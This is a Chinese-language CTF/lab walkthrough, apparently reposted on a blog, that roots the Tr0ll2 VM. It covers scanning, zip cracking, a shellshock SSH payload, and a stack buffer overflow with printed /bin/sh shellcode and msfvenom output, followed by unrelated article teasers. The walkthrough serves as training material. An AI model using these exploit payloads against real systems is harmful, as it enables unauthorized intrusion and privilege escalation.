重庆垫江网站建设/清远市发布

重庆垫江网站建设,清远市发布,网站建设需要工作计划,做公众号首图网站一、主机发现 arp-scan -l靶机ip:192.168.55.164 二、端口扫描、漏洞扫描、目录枚举、指纹识别 2.1端口扫描 nmap --min-rate 10000 -p- 192.168.55.164发现21端口的ftp服务开启 以UDP协议进行扫描 使用参数-sU进行UDP扫描 nmap -sU --min-rate 10000 -p- 19…

一、主机发现

arp-scan -l

靶机ip:192.168.55.164

二、端口扫描、漏洞扫描、目录枚举、指纹识别

2.1端口扫描

nmap --min-rate 10000 -p- 192.168.55.164

发现21端口的ftp服务开启

以UDP协议进行扫描

使用参数-sU进行UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.55.164

说明没有UDP端口开放

2.2漏洞扫描

nmap --script=vuln -p21,22,80 192.168.55.164

说明此靶机没有明显漏洞

2.3目录枚举

dirb http://192.168.55.164

2.4指纹识别

nmap 192.168.55.164 -sV -sC -O --version-all

指纹识别时看到21端口的ftp服务不能进行匿名登陆

三、进入靶机网页进行信息收集,拿到低权限shell

访问靶机网页,发现只有一张图片

3.1拿到密码文件

刚刚目录枚举出了一些信息

尝试在网页中打开

进去之后发现还是图片,这里感觉网站已经没有信息了,之后试了试中间件的漏洞,也没有合适的

随后将看到的图片都下载下来了,然后发现/noob这个目录下的图片名称有提示,让用cat查看该图片

去该目录下寻找答案

发现该文件是base64加密过的,尝试进行解密

base64 -d answer.txt > 1.txt

3.2拿到账号

这里只有密码,尝试去ftp服务找其它信息

根据提示,感觉用户名就是Tr0ll,密码也尝试一下Tr0ll

成功进入ftp服务,将其中的文件下载下来

下载后需要解压,发现解压需要密码

密码尝试使用刚刚解码后的文件,这里使用Fcrackzip工具

fcrackzip -u -D -p 1.txt lmao.zip 
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件
fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。

解压后是一个私钥

3.3拿到低权限shell

使用noob用户进行ssh登录

ssh -i noob noob@192.168.55.164

提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数

ssh -i noob noob@192.168.55.164 -o PubkeyAcceptedKeyTypes=+ssh-rsa 

发现还是不行,不知道怎么办了,查资料发现是还有一个漏洞可以利用

发现shellshock攻击

ssh -i noob noob@192.168.55.164 -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'

成功拿下低权限shell

四、缓冲区溢出提权

升级shell

python -c 'import pty; pty.spawn("/bin/bash")'

4.1靶机信息收集

uname -a
lsb_release -a

尝试sudo提权,发现需要用户的密码

寻找SUID的命令

find / -perm  -4000 -print 2>/dev/null

查找定时任务

crontab -l

没发现有用的信息

只能在目录中寻找其它信息

在根目录下找到这个文件,有点“此地无银三百两”的意思

进入之后找到了三个门

door1下的r00t会在执行后短时间内不可以执行命令

door2 下的r00t会退出ssh

查看这三个门下的文件大小

ls -lahR

发现只有7.2k和8.3k两种

其中8.3k的r00t文件提示需要提供参数

4.2缓冲区溢出漏洞(第一种方法)

4.2.1缓冲区溢出准备工作

首先要做的就是要把该程序拿到kali本机中

将8.3k的文件先进行base64编码

base64 r00t

然后将编码后的内容复制到kali中

然后在kali中将编码后的内容进行解码

cat 2 | base64 -d  >r00t

使用gdb进行调试

disas main

发现存在缓冲区溢出函数

随后进行缓冲区溢出的调试

4.2.2判断溢出位置

使用msf的一个脚本

cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1000
注:
此处的1000为一个较大的值,可以为500,600等任意一个较大的值

然后在gbd调试时将刚刚生成的值run即可

找到了溢出位置:0x6a413969

4.2.3寻找偏移量

还是在/usr/share/metasploit-framework/tools/exploit这个目录下使用msf的脚本

./pattern_offset.rb -q 6a413969 -l 1000

得知偏移量是268

4.2.4寻找ESP栈溢出地址

r $(python -c 'print ("A"*268 + "B"*4)')   # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态

eip也被覆盖

现在要找esp的位置

r $(python -c 'print ("A"*268 + "B"*4+"C"*20)') 

经尝试,C字符写入8-20的时候,esp地址均为0xbffffb80

写入24之后就改变了

获得esp地址:0xbffffb80

注:

控制EIP跳转至shellcode,需要将shellcode设置到ESP地址。但在此之前,我们需要找到一个可靠的 ESP 地址。需要注意的是,OS 加载器将环境变量放在变化的堆栈区域之前,因此它会直接影响 ESP 地址。此外,如何调用程序也很重要。

通过取消设置环境变量参数LINES 和 COLUMNS来取消环境变量的影响,获取真实的ESP地址。

env - gdb r00t
show env
unset env LINES
unset env COLUMNS

去Shellcodes database for study cases网站上寻找exp

成功找到

构造payload:

./r00t $(python -c 'print "A"* 268 + "\x80\xfb\xff\xbf" + "\x90" *20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

成功提权!

4.3缓冲区溢出(第二种方法)

4.3.1寻找坏字符

此方法跟方法一只是反弹shell的方式不同,反弹shell之前的内容均相同

确定ESP的地址之后寻找坏字符

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

查找坏字符:

x/256x $esp   
x/256b $esp

两条命令互相使用,检查坏字符

0x00是一个坏字符

可知0x09是一个坏字符

去掉后继续进行测试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

发现依然错误,将0x0a去掉继续尝试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

对照发现是0x20是坏字符,去掉继续尝试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

发现后续的均连续,说明坏字符为:\x00\x0a\x09\x20

4.3.2msf编写payload

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

编写payload

./r00t $(python -c 'print ("A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')

成功提权!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/72888.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于开源模型的微调训练及瘦身打造随身扫描仪方案__用AI把手机变成文字识别小能手

基于开源模型的微调训练及瘦身打造随身扫描仪方案__用AI把手机变成文字识别小能手 一、准备工作:组装你的"数码工具箱" 1. 安装基础工具(Python环境) 操作步骤: 访问Python官网下载安装包安装时务必勾选Add Python to…

GitHub 超火的开源终端工具——Warp

Warp 作为近年来 GitHub 上备受瞩目的开源终端工具,以其智能化、高性能和协作能力重新定义了命令行操作体验。以下从多个维度深入解析其核心特性、技术架构、用户评价及生态影响力: 一、背景与核心团队 Warp 由前 GitHub CTO Jason Warner 和 Google 前…

使用C#创建安装Windows服务程序

在实际工作中,如果我们需要开发一个运行在后台,无需用户交互,不需要界面的应用程序,我们可以通过Windows服务来实现。 本文主要介绍如何基于C#创建一个Windows服务,来实现西门子PLC的定时读取保存。 一、Windows服务…

吴恩达机器学习笔记复盘(六)梯度下降算法

简介 梯度下降(Gradient Descent)是一种常用的优化算法,广泛应用于机器学习、深度学习等领域,在这里是用于求J(w,b)局部最小值。 我自己觉得这样说有点过于抽象。换个直观点的说法就是,一个人…

使用JAVA-进行维吉尼亚密码的解密与加密

维吉尼亚密码 来源于百度百科 维吉尼亚密码_百度百科 具体代码 import java.util.*;public class WJMYmm {//常量 26public static final int N 26;//密码public static void main(String[] args) {//字母String ZM"abcdefghijklmnopqrstuvwxyz";char[] zm ZM.…

LeetCode 解题思路 22(Hot 100)

解题思路: 递归思路: 传入当前节点的最小值和最大值,递归判断左右子树。结束条件: 当前节点为空或不满足二叉搜索树。 Java代码: class Solution {public boolean isValidBST(TreeNode root) {return isValidBST(ro…

乐享数科:政策助推假日经济,2月普惠金融-景气指数稳中有升

数据显示,2025年2月普惠金融-景气指数达48.99点,较1月上升0.03点。 企业运行持续向好,企业信心预期和经营活力回升。“假日经济”与“政策效应”相互叠加,市场供求格局有所改善,景气水平稳步恢复。 普惠金融-景气指数…

leetcode日记(108)验证回文串

看上去很简单,其实很麻烦。 一开始写的递归,但是内存超限……搜了下发现原因是每次递归调用都会创建一个新的字符串副本,这在处理长字符串时会占用大量内存。 class Solution { public:bool isPalindrome(string s) {if(s.size()0||s.size(…

用css绘制收银键盘

最近需求说需要自己弄个收银键盘&#xff0c;于是乎直接上手搓 主要基于Vue3写的&#xff0c;主要是CSS <template><view class"container"><view class"info"><image class"img" src"" mode"">&l…

智能车间管理系统(源码+文档+讲解+演示)

引言 在现代制造业中&#xff0c;智能车间管理系统正成为推动工业4.0和智能制造的关键力量。它通过整合先进的信息技术和自动化技术&#xff0c;优化生产流程&#xff0c;提高生产效率&#xff0c;降低成本&#xff0c;并确保产品质量。 系统概述 智能车间管理系统采用前后端…

单片机开发资源分析的实战——以STM32F103C8T6为例子的单片机资源分析

目录 第一点&#xff1a;为什么叫STM32F103C8T6 从资源手册拿到我们的对STM32F103C8T6的资源描述 第二件事情&#xff0c;关心我们的GPIO引脚输出 第三件事情&#xff1a;去找对应外设的说明部分 前言 本文章隶属于项目&#xff1a; Charliechen114514/BetterATK: This is…

腾讯云MySQL数据库架构分析与使用场景

TDSQL-C for MySQL TDSQL-C MySQL 版&#xff08;TDSQL-C for MySQL&#xff09;是腾讯云自研的新一代云原生关系型数据库。融合了传统数据库、云计算与新硬件技术的优势&#xff0c;为用户提供具备高弹性、高性能、海量存储、安全可靠的数据库服务。TDSQL-C MySQL 版100%兼容…

荣耀手机卸载应用商店、快应用中心等系统自带的

1.下载abd ADB Download - Get the latest version of ADB and fastboot 2.手机打开开发者选项 3.手机接电脑打开USB调试 4.下载MT管理器查看系统包名 D:\1.LFD\ADB\platform-tools-latest-windows\platform-tools>adb shell adb.exe: no devices/emulators found 这边是…

网络流基本概念及实现算法

基本概念 流网络 对于一个有向图, 抽象成水管里的水的模型, 每根管子有容量限制, 计为 G ( V , E ) G (V, E) G(V,E), 首先不考虑反向边 对于任意无向图, 都可以将反向边转化为上述形式 如果一条边不存在, 定义为容量为 0 0 0, 形式上来说就是 c ( u , v ) 0 c(u, v) 0 c(…

【css酷炫效果】纯CSS实现球形阴影效果

【css酷炫效果】纯CSS实现球形阴影效果 缘创作背景html结构css样式完整代码基础版进阶版(动态版) 效果图 想直接拿走的老板&#xff0c;链接放在这里&#xff1a;上传后更新 缘 创作随缘&#xff0c;不定时更新。 创作背景 刚看到csdn出活动了&#xff0c;赶时间&#xff0…

Linux如何在设备树中表示和引用设备信息

DTS基本知识 dts 硬件的相应信息都会写在.dts为后缀的文件中&#xff0c;每一款硬件可以单独写一份xxxx.dts&#xff0c;一般在Linux源码中存在大量的dts文件&#xff0c;对于arm架构可以在arch/arm/boot/dts找到相应的dts&#xff0c;一个dts文件对应一个ARM的machie。 dtsi 值…

C++20 中的同步输出流:`std::basic_osyncstream` 深入解析与应用实践

文章目录 一、std::basic_osyncstream 的背景与动机二、std::basic_osyncstream 的基本原理三、std::basic_osyncstream 的使用方法&#xff08;一&#xff09;基本用法&#xff08;二&#xff09;多线程环境下的使用&#xff08;三&#xff09;与文件流的结合 四、std::basic_…

C/C++蓝桥杯算法真题打卡(Day8)

一、P8780 [蓝桥杯 2022 省 B] 刷题统计 - 洛谷 算法代码&#xff1a; #include<bits/stdc.h> // 包含标准库中的所有头文件&#xff0c;方便使用各种数据结构和算法 using namespace std; // 使用标准命名空间&#xff0c;避免每次调用标准库函数时都要加 std::in…

第十三次CCF-CSP认证(含C++源码)

第十三次CCF-CSP认证 跳一跳满分题解 碰撞的小球满分题解遇到的问题 棋局评估满分题解 跳一跳 题目链接 满分题解 没什么好说的 基本思路就是如何用代码翻译题目所给的一些限制&#xff0c;以及变量应该如何更新&#xff0c;没像往常一样给一个n&#xff0c;怎么读入数据&…

MySQL:数据库基础

数据库基础 1.什么是数据库&#xff1f;2.为什么要学习数据库&#xff1f;3.主流的数据库&#xff08;了解&#xff09;4.服务器&#xff0c;数据库&#xff0c;表之间的关系5.数据的逻辑存储6.MYSQL架构7.存储引擎 1.什么是数据库&#xff1f; 数据库(Database,简称DB)&#x…